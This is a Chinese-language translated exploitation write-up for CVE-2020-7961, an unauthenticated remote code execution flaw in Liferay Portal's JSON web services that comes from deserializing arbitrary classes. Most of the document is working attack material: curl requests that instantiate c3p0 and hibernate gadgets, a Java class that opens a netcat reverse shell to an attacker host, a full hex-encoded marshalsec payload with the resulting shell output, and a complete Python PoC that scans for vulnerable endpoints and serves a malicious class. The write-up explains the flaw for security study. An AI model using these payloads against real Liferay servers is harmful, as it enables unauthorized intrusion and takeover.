CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC)
2020-11-02 11:25:00 Author: www.4hou.com(查看原文) 阅读量:519 收藏

Liferay是用Java编写的著名CMS之一,在渗透过程中有时会遇到。上周,我偶然发现了Code White Security的博客文章“ Liferay Portal JSON Web服务RCE漏洞分析”,其中描述了一个有趣的漏洞。不幸的是,没有与之相关的PoC,所以这是学习知识的好机会。

Liferay CMS:https://www.liferay.com/

我将集中讨论影响7.x版本CST-7205的漏洞:通过JSONWS(LPS-97029 / CVE-2020-7961)进行未经身份验证的远程代码执行。

文章分析

首先,我在Code White博客文章中收集一些线索,就在进行CTF比赛时做的那样:

https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html

 The JSONWebServiceActionParametersMap of Liferay Portal allows the instantiation of arbitrary classes and invocation of arbitrary setter methods.
 Both allow the instantiation of an arbitrary class via its parameter-less constructor and the invocation of setter methods similar to the JavaBeans convention. This allows unauthenticated remote code execution via various publicly known gadgets. // 1
 [...]
 The _parameterTypes map gets filled by the JSONWebServiceActionParametersMap.put(String, Object) method... 
 parameterName:fully.qualified.ClassName // 2
 [...]
 This syntax is also mentioned in some of the examples in the Invoking JSON Web Services tutorial. // 3
 [...]
 Later in JSONWebServiceActionImpl._prepareParameters(Class), the ReflectUtil.isTypeOf(Class, Class) is used to check whether the specified type extends the type of the corresponding parameter of the method to be invoked. Since there are service methods with java.lang.Object parameters, any type can be specified. // 4
 [...]
 Demo // 5

从博客文章中我已经确定:

(1)我必须绕过2016年已经存在的实例化漏洞,即us-17-Munoz-Friday-The-13th-Json-Attacksmarshalsec,为此,我需要一个小工具,这将使工作变得容易;

(2)为了识别入口点,我需要找到Liferay开发人员文档中描述的JSONendpoint;

(3)进行交互;

(4)最后可以在上面看到APIendpoint的GIF演示;

(5)进行了一点修改,方便使用JSON-RPC攻击的方法, Content-length Header超过9000!

分析准备

Liferay CE是开源的,我使用docker运行一个实例,并下载了源代码:

 $ wget https://github.com/liferay/liferay-portal/releases/download/7.2.0-ga1/liferay-ce-portal-src-7.2.0-ga1-20190531153709761.zip
 # docker pull liferay/portal:7.2.0-ga1-201906041200
 # docker run -it liferay/portal:7.2.0-ga1-201906041200
 $ docker inspect  $(docker ps | grep liferay | cut -f 1 -d ' ') | jq -r .[0].NetworkSettings.IPAddress

Ubuntu的默认登录名/密码为:[email protected]:test。

寻找切入点

阅读文档并使用API,我很快找到了使用方法:

 $ curl -s http://172.17.0.2:8080/api/jsonws/announcementsflag/get-flag -u [email protected]:test -d entryId=1 -d value=2 | jq
 {
   "exception": "No AnnouncementsFlag exists with the key {userId=20129, entryId=1, value=2}",
   "throwable": "com.liferay.announcements.kernel.exception.NoSuchFlagException: No AnnouncementsFlag exists with the key {userId=20129, entryId=1, value=2}",
   "error": {
     "message": "No AnnouncementsFlag exists with the key {userId=20129, entryId=1, value=2}",
     "type": "com.liferay.announcements.kernel.exception.NoSuchFlagException"
   }
 }

查看内置文档,我注意到每个参数都需要键入(Long,String ...):

还记得博客文章中的提示吗?我遍历每个上下文以检索每个endpoint,找到了一些使用的endpointjava.lang.Object:

 $ cat contexts.txt | while read context; do curl -kis http://172.17.0.2:8080/api/jsonws?contextName=$context | grep "java\.lang\.Object"; done | grep -o 'href="[^"]*"'
 href="/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fupdate-column-4-long-java.lang.String-int-java.lang.Object"
 href="/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-long-java.lang.String-int-java.lang.Object"

如博客文章中所见,在阅读了文档之后,我发现了用于实例化对象的符号+,尝试使用一些garbage 可以带来一条有趣的信息:

 $ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column \
   -u [email protected]:test \
   -d columnId=1 \
   -d name='2' \
   -d type=3 \
   -d %2BdefaultData=4 | jq
 {
   "exception": "4",
   "throwable": "java.lang.ClassNotFoundException: 4",
   "error": {
     "message": "4",
     "type": "java.lang.ClassNotFoundException"
   }
 }

可能是java.lang.Number或 java.lang.String

 $ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column -u [email protected]:test -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=java.lang.Number | jq
 {
   "exception": "java.lang.InstantiationException",
   "throwable": "java.lang.InstantiationException",
   "error": {
     "message": "java.lang.InstantiationException",
     "type": "java.lang.InstantiationException"
   }
 }
 $ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column -u [email protected]:test -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=java.lang.String | jq
 {
   "exception": "No ExpandoColumn exists with the primary key 1",
   "throwable": "com.liferay.expando.kernel.exception.NoSuchColumnException: No ExpandoColumn exists with the primary key 1",
   "error": {
     "message": "No ExpandoColumn exists with the primary key 1",
     "type": "com.liferay.expando.kernel.exception.NoSuchColumnException"
   }
 }

到目前为止,我已经能够实例化一个对象,并且根据文档,设置属性应该与defaultData.attribute_name=value一样简单 。

寻找 gadget

我并不熟悉此类漏洞,因此我采用了AlvaroMuñoz和Oleksandr Mirosh 文章中发布的一个Java gadgets,其中涉及实例化org.hibernate.jmx.StatisticsService类,然后调用 setSessionFactoryJNDIName,方法是将 sessionFactoryJNDIName设置为我控制的一切:

 $ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column -u [email protected]:test -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=org.hibernate.jmx.StatisticsService -d defaultData.sessionFactoryJNDIName=rmi://thisiswrong:/

并在日志中得到了stacktrace:

 2020-03-27 15:48:45.383 ERROR [http-nio-8080-exec-2][StatisticsService:81] Error while accessing session factory with JNDI name rmi://thisissworng:/
 javax.naming.CommunicationException: thisiswrong:389 [Root exception is java.net.UnknownHostException: thisiswrong]

有许多公开的gadgets,可以在这里找到

 Requires c3p0 on the class path. Implements java.io.Serializable, has a default
 constructor (which needs to be called), the used properties also have getters. A single
 etter call is sufficient for code execution.
 [...]
 It will instantiate a class from a remote class path as JNDI
 ObjectFactory. (on its own, not using the default JNDI reference mechanism)
 [...]

不使用默认的JNDI机制进行代码执行,尝试一下:

 $ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column -u [email protected]:test -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=com.mchange.v2.c3p0.WrapperConnectionPoolDataSource -d 'defaultData.userOverridesAsString=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
 [...]
 2020-03-27 16:19:55.776 WARN  [http-nio-8080-exec-10][WrapperConnectionPoolDataSource:223] Failed to parse stringified userOverrides. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 java.io.StreamCorruptedException: invalid stream header: AAAAAAAA

现在,使用 marshalsec工具通过Jackson适合我上下文的Paylaod为我设置正确的数据。

首先,通过暴露的方式设置远程类EvilObject的路径:

 $ cat > EvilObject.java <<EOF
 public class EvilObject {
     public EvilObject() throws Exception {
         Runtime rt = Runtime.getRuntime();
         String[] commands = {"/bin/sh", "-c", "nc 172.17.0.1 8888 -e /bin/sh"};
         Process pc = rt.exec(commands);
         pc.waitFor();
     }
 }
 EOF
 $ /usr/lib/jvm/java-8-oracle/bin/javac EvilObject.java
 $ python -m SimpleHTTPServer &

然后,我可以使用-t参数测试所有内容:

 $ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson -t C3P0WrapperConnPool http://172.17.0.1:8000/ EvilObject
 unning gadget C3P0WrapperConnPool:
 MLog initialization issue: slf4j found no binding or threatened to use its (dangerously silent) NOPLogger. We consider the slf4j library not found.
 Had execution of /bin/sh

设置监听,生成Payload并使用:

 $ nc -l -v 8888 & 
 Listening on 0.0.0.0 8888
 
 $ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://172.17.0.1:8000/ EvilObject
 
 ["com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a707070707070707070707874000a4576696c4f626a656374740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;"}]
 
 $ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column -u [email protected]:test -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=com.mchange.v2.c3p0.WrapperConnectionPoolDataSource -d 'defaultData.userOverridesAsString=HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a707070707070707070707874000a4576696c4f626a656374740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;'
 
 [...]
 
 id
 uid=1000(liferay) gid=1000(liferay)
 ls -al
 total 92
 drwxr-xr-x    1 liferay  liferay       4096 Jun  4  2019 .
 drwxr-xr-x    1 root     root          4096 Jun  4  2019 ..
 -rw-r--r--    1 liferay  liferay         40 May 31  2019 .githash
 -rw-r--r--    1 liferay  liferay          0 May 31  2019 .liferay-home
 drwxr-xr-x    1 liferay  liferay       4096 May 31  2019 data
 drwxr-x---    2 liferay  liferay       4096 May 31  2019 deploy
 [...]

已经获得了远程shell!

分析结论

相关的PoC如下:

https://github.com/mzer0one/CVE-2020-7961-POC

 '''
  Title: POC for Unauthenticated Remote code execution via JSONWS (LPS-97029/CVE-2020-7961) in Liferay 7.2.0 CE GA1 
  POC author: mzero
  Download link: https://sourceforge.net/projects/lportal/files/Liferay%20Portal/7.2.0%20GA1/liferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761.7z/download
  Based on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html research
  Usage: python poc.py -h
  
  Gadget used: C3P0WrapperConnPool 
  
  Installation:
  pip install requests
  pip install bs4
  
  Create file LifExp.java with example content:
  public class LifExp {
   static {
   try {
    String[] cmd = {"cmd.exe", "/c", "calc.exe"};
    java.lang.Runtime.getRuntime().exec(cmd).waitFor();
   } catch ( Exception e ) {
    e.printStackTrace();
    }
   }
  }
  javac LifExp.java
  Place poc.py and LifExp.class in the same directory.
 '''
 import requests
 import threading
 import time
 import sys
 import argparse
 from bs4 import BeautifulSoup
 from datetime import datetime
 from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
 from requests.packages.urllib3.exceptions import InsecureRequestWarning
 requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
 
 # SET proxy
 PROXIES = {}
 #PROXIES = {"http":"http://127.0.0.1:9090"}
 
 class HttpHandler(BaseHTTPRequestHandler):
  
  def do_GET(self):
   self.send_response(200)
   self.send_header('Content-type','application/java-vm')
   self.end_headers()
   f = open("LifExp.class", "rb")
   self.wfile.write(f.read())
   f.close()
   return
 
 def log(level, msg):
  prefix = "[#] "
  if level == "error":
   prefix = "[!] "
  d = datetime.now().strftime("%d/%m/%Y %H:%M:%S")
  temp = "{} [{}] {}".format(prefix, d, msg)
  print(temp)
 
 def find_href(body):
  soup = BeautifulSoup(body, "html.parser")
  return soup.find_all('a', href=True)
  
 def find_class(body, clazz):
  soup = BeautifulSoup(body, "html.parser")
  return soup.findAll("div", {"class": clazz})
 
 def find_id(body):
  soup = BeautifulSoup(body, "html.parser")
  return soup.findAll("form", {"id": "execute"})
 
 def get_param(div):
  param = ""
  param_type = ""
  p_name = div.find("span", {"class": "lfr-api-param-name"})
  p_type = div.find("span", {"class": "lfr-api-param-type"})
  if p_name:
   param = p_name.text.strip()
  if p_type:
   param_type = p_type.text.strip()
   
  return (param, param_type)
 
 def _do_get(url):
  resp = requests.get(url, proxies=PROXIES, verify=False)
  return resp
  
 def do_get(host, path):
  url = "{}/{}".format(host, path)
  resp = _do_get(url)
  return resp
  
 def _do_post(url, data):
  resp = requests.post(url, proxies=PROXIES, verify=False, data=data)
  return resp
  
 def do_post(host, path, data):
  url = "{}/{}".format(host, path)
  resp = _do_post(url, data)
  return resp
  
 def find_endpoints(host, path):
  result = []
  resp = do_get(host, path)
  links = find_href(resp.text)
  for link in links:
   if "java.lang.Object" in link['href']:
    result.append(link['href'])
  return result
 
 def find_parameters(body):
  div_params = find_class(body, "lfr-api-param")
  params = []
  for d in div_params:
   params.append(get_param(d))
  return params
 
 def find_url(body):
  form = find_id(body)[0]
  return form['action']
 
 def set_params(params, payload, payload_type):
  result = {}
  for param in params:
   p_name, p_type = param
   if p_type == "java.lang.Object":
    result[p_name+":"+payload_type] = payload
   
   result[p_name] = "1"
  return result
 
 def pad(data, length):
  return data+"\x20"*(length-len(data))
  
 def exploit(host, api_url, params, PAYLOAD, PAYLOAD_TYPE):
  p = set_params(params, PAYLOAD, PAYLOAD_TYPE)
  resp = do_post(host, api_url, p)
 
 banner = """POC author: mzero\r\nBased on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html research"""
 
 def main():
  print(banner)
  parser = argparse.ArgumentParser()
  parser.add_argument("-t", "--target-host", dest="target", help="target host:port", required=True)
  parser.add_argument("-u", "--api-url", dest="api_url", help="path to jsonws. Default: /api/jsonws", default="/api/jsonws")
  parser.add_argument("-p", "--bind-port", dest="bind_port", help="HTTP server bind port. Default 9091", default=9091)
  parser.add_argument("-l", "--bind-ip", dest="bind_ip", help="HTTP server bind IP. Default 127.0.0.1. It can't be 0.0.0.0", default="127.0.0.1")
 
  args = parser.parse_args()
  bind_port  = int(args.bind_port)
  bind_ip = args.bind_ip
  target_ip = args.target
  api_url = args.api_url
  endpoints = []
  vuln_endpoints = []
  
  PAYLOAD_TYPE = "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
  PAYLOAD_PREFIX = """{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c69664578707400c8"""
  PAYLOAD_SUFIX = """740003466f6f;"}"""
  PAYLOAD = PAYLOAD_PREFIX +pad("http://{}:{}/".format(bind_ip, bind_port), 200).encode("hex")+PAYLOAD_SUFIX
  
  
  try:
   log("info", "Looking for vulnerable endpoints: {}/{}".format(target_ip, api_url))
   endpoints = find_endpoints(target_ip, api_url)
   if not endpoints:
    log("info", "Vulnerable endpoints not found!")
    sys.exit(1)
  except Exception as ex:
   log("error", "An error occured:")
   print(ex)
   sys.exit(1)
  
  try:
   server = HTTPServer((bind_ip, bind_port), HttpHandler)
   log("info", "Started HTTP server on {}:{}".format(bind_ip, bind_port))
   th = threading.Thread(target=server.serve_forever)
   th.daemon=True
   th.start()
   
   for e in endpoints:
    resp = do_get(target_ip, e)
    params = find_parameters(resp.text)
    url_temp = find_url(resp.text)
    vuln_endpoints.append((url_temp, params))
   
   for endpoint in vuln_endpoints:
    log("info", "Probably vulnerable endpoint {}.".format(endpoint[0]))
    op = raw_input("Do you want to test it? Y/N: ")
    if op.lower() == "y":
     exploit(target_ip, endpoint[0], endpoint[1], PAYLOAD, PAYLOAD_TYPE)
     
   log("info", "CTRL+C to exit :)")
   while True:
    time.sleep(1)
  except KeyboardInterrupt:
   log("info", "Shutting down...")
   server.socket.close()
  except Exception as ex:
   log("error", "An error occured:")
   print(ex)
   sys.exit(1)
  
 if __name__ == "__main__":
  main()
 public class LifExp {
 
 static {
 try {
 String[] cmd = {"cmd.exe", "/c", "calc.exe"};
 java.lang.Runtime.getRuntime().exec(cmd).waitFor();
 } catch ( Exception e ) {
 e.printStackTrace();
 }
 }
 }

无需建立连接只需单击即可实现代码执行。

参考文献

· https://www.liferay.com

· https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html

· https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf

· https://github.com/mbechler/marshalsec

· https://portal.liferay.dev/docs/7-1/tutorials/-/knowledge_base/t/invoking-json-web-services#object-parameters

· https://portal.liferay.dev/docs/7-1/tutorials/-/knowledge_base/t/invoking-json-web-services#json-rpc

· https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java

· https://github.com/mzer0one/CVE-2020-7961-POC

· https://gist.github.com/testanull/4f8a9305b5b57ab8e7f15bbb0fb93461

· https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains-wp.pdf

本文翻译自:​https://www.synacktiv.com/posts/pentest/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/pXG2
如有侵权请联系:admin#unsafe.sh